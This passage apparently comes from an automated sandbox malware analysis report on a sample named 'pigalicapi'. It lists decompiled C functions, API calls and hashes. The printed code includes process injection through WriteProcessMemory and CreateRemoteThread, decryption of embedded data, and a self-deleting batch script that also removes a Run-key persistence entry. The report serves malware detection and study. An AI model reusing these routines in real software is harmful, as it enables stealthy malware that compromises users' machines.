									}
								}
							}
						}
						if(_v8 == 0) {
							VirtualFree(_v12, 0, 0x8000); // executed
						}
					}
					goto L13;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04008240

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 040081F1

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$DecryptErrorFreeLastRelease
String ID:
API String ID: 142027497-0
Opcode ID: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction ID: 586cb0610e47de0410656fb7eac1ad2d30ffe64d38e300cd8a2e1f05076280ab
Opcode Fuzzy Hash: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction Fuzzy Hash: 3551E7B5E00209AFEB14DF98D984BEEB7B5BB48304F14C158E905BB381D774AA40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04005930 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E04005930(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v24;
				void _v52;
				intOrPtr _v56;
				signed int _v60;
				void* _t70;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0 && _a12 <= 0x10) {
					E04007B70( &_v24, _a4, 0x10);
					memcpy( &_v52, "abcdefghijklmnopqrstuvwxyz", 6 << 2);
					asm("movsw");
					asm("movsb");
					_v56 = 0;
					while(_v56 < _a12) {
						_v60 = (( *(_t70 + _v56 - 0x14) & 0x000000ff) + _v56 + 1) * (_v56 + 2) % 0x1a;
						_a8[_v56] =  *((intOrPtr*)(_t70 + _v60 - 0x30));
						if(_v56 == 0) {
							CharUpperA(_a8); // executed
						}
						_v8 = _v8 + 1;
						_v56 = _v56 + 1;
					}
				}
				return _v8;
			}

0x04005938
0x04005943
0x04005971
0x04005986
0x04005988
0x0400598a
0x0400598b
0x0400599d
0x040059c6
0x040059d6
0x040059dc
0x040059e2
0x040059e2
0x040059ee
0x0400599a
0x0400599a
0x0400599d
0x040059fb

APIs

CharUpperA.USER32(00000000), ref: 040059E2

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 0400597E

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CharUpper
String ID: abcdefghijklmnopqrstuvwxyz
API String ID: 9403516-1277644989
Opcode ID: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction ID: f69ee34caa0c5af81cf691572c0dafb25cbc9a5132ff2a0986e08936ddab1125
Opcode Fuzzy Hash: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction Fuzzy Hash: F7210C35A06108EBEF04CF98D984BDDB7B6FF85315F248569E804A7280D375AA45CF41

Uniqueness

Uniqueness Score: -1.00%

Function 04009400 Relevance: 3.1, APIs: 2, Instructions: 106
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009400(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v91;
				char _v92;
				char _v220;
				intOrPtr _t59;
				void* _t103;
				void* _t104;
				void* _t106;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_t56 = E04007B70( &_v28, _a4 + 0x45b, 0x10);
					_t104 = _t103 + 0xc;
					_v12 = _v28 ^ _v24 ^ _v20 ^ _v16;
					_v32 = 0;
					while(_v32 < _a12) {
						E04007D20(_t56,  &_v220, 0, 0x80);
						_t59 = E04008BB0( &_v12, 4,  &_v220, 0x80); // executed
						_t106 = _t104 + 0x1c;
						_v40 = _t59;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v220;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v220, _v40, _v32 * 0x1e + _a8, _v36);
						E04007D20( &_v92,  &_v92, 0, 0x32);
						_t104 = _t106 + 0x1c;
						lstrcpyA( &_v92, _v32 * 0x1e + _a8);
						_v91 = 0;
						CharUpperA( &_v92);
						 *((char*)(_a8 + _v32 * 0x1e)) = _v92;
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_t56 = _v32 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

APIs

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcpyA.KERNEL32(?,00000000), ref: 04009513
CharUpperA.USER32(?), ref: 04009521

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CharCreateDataDestroyErrorLastReleaseUpperlstrcpy
String ID:
API String ID: 2710640451-0
Opcode ID: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction ID: bc5be7810042b5ebbd7ddf8470aca826c8a0736d185973949ab2100ea4ccd4f3
Opcode Fuzzy Hash: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction Fuzzy Hash: 564119B1D00208EBEB44DFD4C881BEEBBB5EF58308F10C15AD515BB281E774AA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 100021EA Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 100021F9
SetLastError.KERNEL32(0000007E), ref: 1000223B
SetLastError.KERNEL32(0000000E), ref: 1000228B

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: ErrorLast$HugeRead
String ID:
API String ID: 100728148-0
Opcode ID: bd318f91544f178069688045f5b296fb20421188c60a54711fd69487c4a0a276
Instruction ID: 133c763f371e93ed1e981491a31024dabb451d2fe405ffdb26697d1a1c2a5393
Opcode Fuzzy Hash: bd318f91544f178069688045f5b296fb20421188c60a54711fd69487c4a0a276
Instruction Fuzzy Hash: 3301C975A01149EFEB04DF94C985B9EBBB5EF48354F208298E909AB255C734EF40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 040097C0 Relevance: 3.0, APIs: 2, Instructions: 12
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040097C0(void* _a4) {
				void* _t3;
				char _t6;

				if(_a4 != 0) {
					_t6 = RtlFreeHeap(GetProcessHeap(), 0, _a4); // executed
					return _t6;
				}
				return _t3;
			}

0x040097c7
0x040097d6
0x00000000
0x040097d6
0x040097dd

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 040097CF
RtlFreeHeap.NTDLL(00000000), ref: 040097D6

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: a6464bf9f777ffb9bb0c8bcc6ffd973ce71ca1ca90abca8fff71af8c88fd8392
Instruction ID: 2832c38799f6bf1d51ab83c3035fa25f48ec3c6083bfe65adac79a8cd9b78ebe
Opcode Fuzzy Hash: a6464bf9f777ffb9bb0c8bcc6ffd973ce71ca1ca90abca8fff71af8c88fd8392
Instruction Fuzzy Hash: BBC01271004208ABEB449F94D40CBA537ACEB04305F048111B60C95490C7789CC0C751

Uniqueness

Uniqueness Score: -1.00%

Function 040097A0 Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040097A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x040097b0
0x040097b7

APIs

GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction ID: 51615621b5a1f832d01dc3b7a4cc229a82638b6a1205cca077e68d01418531cd
Opcode Fuzzy Hash: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction Fuzzy Hash: 93C09B71144308ABE6449FD8E80DD95375DE748601F004111B70DD6141CB7CAD84C762

Uniqueness

Uniqueness Score: -1.00%

Function 10001D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f230ea85c0c82a46ce4fe9d3adae6cb5bbcd7638e6efd245ab957bab051541
Instruction ID: 8f4ecb97985d5e8621b4f5fb532634e6274162181c58748ea6569eeff33a15e4
Opcode Fuzzy Hash: d8f230ea85c0c82a46ce4fe9d3adae6cb5bbcd7638e6efd245ab957bab051541
Instruction Fuzzy Hash: D6418574A04109AFEB44CF44D494BEAB7B2FB88394F24C15AEC195B359D775EE82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 10001840 Relevance: 1.5, APIs: 1, Instructions: 15libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 10001848

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d16f793e14d30ae703a09ad83dbe3b7ccdd5b75166227a635d2c9c6bbfe82863
Instruction ID: e5a886dd6f7ca33b6e05a63634625ffd61cc9a463d586fd81315a615fd3f2724
Opcode Fuzzy Hash: d16f793e14d30ae703a09ad83dbe3b7ccdd5b75166227a635d2c9c6bbfe82863
Instruction Fuzzy Hash: EBD09274A0620CEBDB10DBA9D948A8EB7FDEB08291F108598E90997204DA31AF409B90

Uniqueness

Uniqueness Score: -1.00%

Function 100019F0 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,10001A51,00003000,00000004,000000BE,?,10001A51,?), ref: 10001A01

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3ccff9a06a89a97e6c3f6f2ca4e475eb5daa78dd1c2cff0adbe1b5a9ef65233e
Instruction ID: cb2b1c577f6c2eb629580bdbf47f529d576ce8939b3be3f1cb066eb9375a85c4
Opcode Fuzzy Hash: 3ccff9a06a89a97e6c3f6f2ca4e475eb5daa78dd1c2cff0adbe1b5a9ef65233e
Instruction Fuzzy Hash: 59D0C9B4685208BBE710CB84CC56F6ABBACD704751F004185FE089B280D5B1AE0056A1

Uniqueness

Uniqueness Score: -1.00%

Function 10001820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 1000182F

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 0afdfe0cb853849ea34192287f9d769febadd0286e44f929b2b370b7db5ff62e
Instruction ID: 84b35084efcff6c5970382eaf3cd32c1c52104bf155538fafba3cb0c341aa3c2
Opcode Fuzzy Hash: 0afdfe0cb853849ea34192287f9d769febadd0286e44f929b2b370b7db5ff62e
Instruction Fuzzy Hash: E8C04C7611430CABCB04DF98DC94DAB37ADBB8C650B04C508FA1D87204C630F9108BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04008CF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 96
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E04008CF0(BYTE* _a4, DWORD* _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				long* _v24;
				char* _t31;
				int _t32;
				intOrPtr _t34;
				long** _t35;
				char* _t52;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L15:
					return _v8;
				} else {
					_v12 = 0;
					_t31 =  *0x4013370; // 0x400c6e4
					_t32 = CryptAcquireContextA( &_v12, _t31, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0);
					if(_t32 == 0) {
						_t32 = GetLastError();
						_v16 = _t32;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t52 =  *0x4013370; // 0x400c6e4
							_t32 = CryptAcquireContextA( &_v12, _t52, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t32 != 0) {
							_t34 = _a16;
							__imp__CryptHashData(_v20, _a12, _t34, 0);
							if(_t34 != 0) {
								_v24 = 0;
								_t35 =  &_v24;
								__imp__CryptDeriveKey(_v12, 0x6801, _v20, 1, _t35);
								if(_t35 != 0) {
									_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
									CryptDestroyKey(_v24);
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L15;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008D3F
GetLastError.KERNEL32 ref: 04008D49
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008D78
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008D99
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008DB1
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 04008DD5
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008DF1
CryptDestroyKey.ADVAPI32(00000000), ref: 04008DFE
CryptDestroyHash.ADVAPI32(00000000), ref: 04008E08
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008E14

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D30
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D68

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextHash$AcquireDestroy$CreateDataDecryptDeriveErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3718126946-947817771
Opcode ID: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction ID: a60922051ccac58686ce7bb6d252e90d8c3d4a9338f0118c5879c090c3d284f0
Opcode Fuzzy Hash: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction Fuzzy Hash: E5311B75A44209EBFB58DFA4C849BAE77B9FB44704F10C628F601B61C0D7B8A984CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04002510 Relevance: 12.1, APIs: 8, Instructions: 149
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002510(void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				void* _v32;
				signed int _v36;
				void* _t138;
				void* _t139;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L14:
					return _v8;
				} else {
					_v24 = _a8 +  *((intOrPtr*)(_a8 + 0x3c));
					_v20 = _v24 + ( *(_v24 + 0x14) & 0x0000ffff) + 0x18;
					_v12 =  *((intOrPtr*)(_v24 + 0x50));
					_v16 = VirtualAlloc(0, _v12, 0x3000, 0x40);
					if(_v16 != 0) {
						_v32 = VirtualAllocEx(_a4,  *(_v24 + 0x34), _v12, 0x3000, 0x40);
						if(_v32 != 0) {
							L7:
							E04007B70(_v16, _a8,  *((intOrPtr*)(_v24 + 0x54)));
							_t139 = _t138 + 0xc;
							_v36 = 0;
							while(_v36 < ( *(_v24 + 6) & 0x0000ffff)) {
								E04007B70(_v16 +  *((intOrPtr*)(_v20 + 0xc + _v36 * 0x28)), _a8 +  *((intOrPtr*)(_v20 + 0x14 + _v36 * 0x28)),  *((intOrPtr*)(_v20 + 0x10 + _v36 * 0x28)));
								_t139 = _t139 + 0xc;
								_v36 = _v36 + 1;
							}
							E040026D0(_v16, _v32);
							if(WriteProcessMemory(_a4, _v32, _v16, _v12, 0) != 0) {
								VirtualFree(_v16, 0, 0x8000);
								_v28 = 0;
								_v8 = CreateRemoteThread(_a4, 0, 0, _v32 +  *((intOrPtr*)(_v24 + 0x28)), 0x11, 0,  &_v28);
								goto L14;
							}
							VirtualFree(_v16, 0, 0x8000);
							return 0;
						}
						_v32 = VirtualAllocEx(_a4, 0, _v12, 0x103000, 0x40);
						if(_v32 != 0) {
							goto L7;
						}
						VirtualFree(_v16, 0, 0x8000);
						return 0;
					}
					return 0;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 04002564
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00003000,00000040), ref: 04002590
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 040025B0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040025CA

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction ID: c64b90f60543cdd9f1b152a56a7e8b33ad9649d5cc2119a14d9a029aa2c63625
Opcode Fuzzy Hash: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction Fuzzy Hash: D0510D75E00209AFEB18DF94C895FAEB7B5FB48305F10C558E615BB280D778A981CB64

Uniqueness

Uniqueness Score: -1.00%

Function 040074A0 Relevance: 56.2, APIs: 24, Strings: 8, Instructions: 195
stringregistryfileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E040074A0() {
				char _v524;
				CHAR* _v528;
				void* _v532;
				void* _v536;
				void* _v540;
				char _v1060;
				char _v1580;
				char _v2364;
				long _v2368;
				struct _PROCESS_INFORMATION _v2384;
				long _v2388;
				struct _STARTUPINFOA _v2460;
				void* _t86;
				void* _t121;
				void* _t123;
				void* _t124;

				E04007D20(E04007D20( &_v2364,  &_v2364, 0, 0x30c),  &_v1060, 0, 0x208);
				_t123 = _t121 + 0x18;
				 *0x4014370 = 1;
				Sleep(0x3e8);
				if(( *0x4014362 & 0x000000ff) != 0) {
					_v2368 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v1060, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v1060,  &_v2368);
					}
					lstrcatA( &_v1060, "\\");
					lstrcatA( &_v1060, "pigalicapi");
					lstrcatA( &_v1060, ".exe");
				} else {
					GetModuleFileNameA(0,  &_v1060, 0x207);
				}
				SetFileAttributesA( &_v1060, 0x80);
				wnsprintfA( &_v2364, 0x30b, ":repeat\r\ndel %s\r\nif exist %s goto :repeat\r\ndel %%0",  &_v1060,  &_v1060);
				_t124 = _t123 + 0x14;
				if( *0x401436c != 0) {
					_t86 =  *0x401436c; // 0x268
					TerminateThread(_t86, 1);
				}
				_v528 = "software\\microsoft\\windows\\currentversion\\run";
				_v532 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v532 = 0x80000002;
				}
				_v536 = 0;
				if(RegOpenKeyExA(_v532, _v528, 0, 2,  &_v536) == 0) {
					RegDeleteValueA(_v536, "pigalicapi");
					RegCloseKey(_v536);
				}
				if(( *0x401435b & 0x000000ff) != 0) {
					E04005E30(1);
					_t124 = _t124 + 4;
				}
				GetEnvironmentVariableA("TEMP",  &_v1580, 0x104);
				GetTempFileNameA( &_v1580, "slf", GetTickCount() % 0xffff,  &_v524);
				lstrcatA( &_v524, ".bat");
				_t71 = CreateFileA( &_v524, 0x40000000, 1, 0, 2, 0, 0);
				_v540 = _t71;
				if(_v540 != 0xffffffff) {
					_v2388 = 0;
					WriteFile(_v540,  &_v2364, lstrlenA( &_v2364),  &_v2388, 0);
					E04007D20(E04007D20(CloseHandle(_v540),  &_v2384, 0, 0x10),  &_v2460, 0, 0x44);
					_v2460.cb = 0x44;
					_v2460.dwFlags = _v2460.dwFlags | 0x00000001;
					_v2460.wShowWindow = 0;
					if(CreateProcessA(0,  &_v524, 0, 0, 0, 0, 0, 0,  &_v2460,  &_v2384) != 0) {
						_t71 = CloseHandle(_v2384.hThread);
					}
					ExitProcess(0);
				}
				return _t71;
			}

APIs

Sleep.KERNEL32(000003E8), ref: 040074E4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 04007503
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 0400752E
lstrcatA.KERNEL32(?,0400C650), ref: 04007559
lstrcatA.KERNEL32(?,pigalicapi), ref: 0400756B
lstrcatA.KERNEL32(?,.exe), ref: 0400757D
SetFileAttributesA.KERNEL32(?,00000080), ref: 0400758F
wnsprintfA.SHLWAPI ref: 040075B4
TerminateThread.KERNEL32(00000268,00000001), ref: 040075CE
RegOpenKeyExA.ADVAPI32(80000001,0400C690,00000000,00000002,00000000), ref: 04007620
RegDeleteValueA.ADVAPI32(00000000,pigalicapi), ref: 04007636
RegCloseKey.ADVAPI32(00000000), ref: 04007643
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 0400766F
GetTickCount.KERNEL32 ref: 0400767C
GetTempFileNameA.KERNEL32(?,slf,00000000), ref: 04007698
lstrcatA.KERNEL32(?,.bat), ref: 040076AA
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 040076C6
lstrlenA.KERNEL32(?,00000000,00000000), ref: 040076F9
WriteFile.KERNEL32(000000FF,?,00000000), ref: 0400770E
CloseHandle.KERNEL32(000000FF), ref: 0400771B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0400778C
CloseHandle.KERNEL32(?), ref: 0400779D
ExitProcess.KERNEL32 ref: 040077A5

Strings

TEMP, xrefs: 0400766A
:repeatdel %sif exist %s goto :repeatdel %%0, xrefs: 040075A3
D, xrefs: 04007747
pigalicapi, xrefs: 0400755F, 0400762A
slf, xrefs: 0400768C
.exe, xrefs: 04007571
USERPROFILE, xrefs: 04007542
.bat, xrefs: 0400769E

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$lstrcat$Close$CreateHandleNameProcess$AttributesCountDeleteDirectoryEnvironmentExitModuleOpenProfileSleepTempTerminateThreadTickUsersValueVariableWritelstrlenwnsprintf
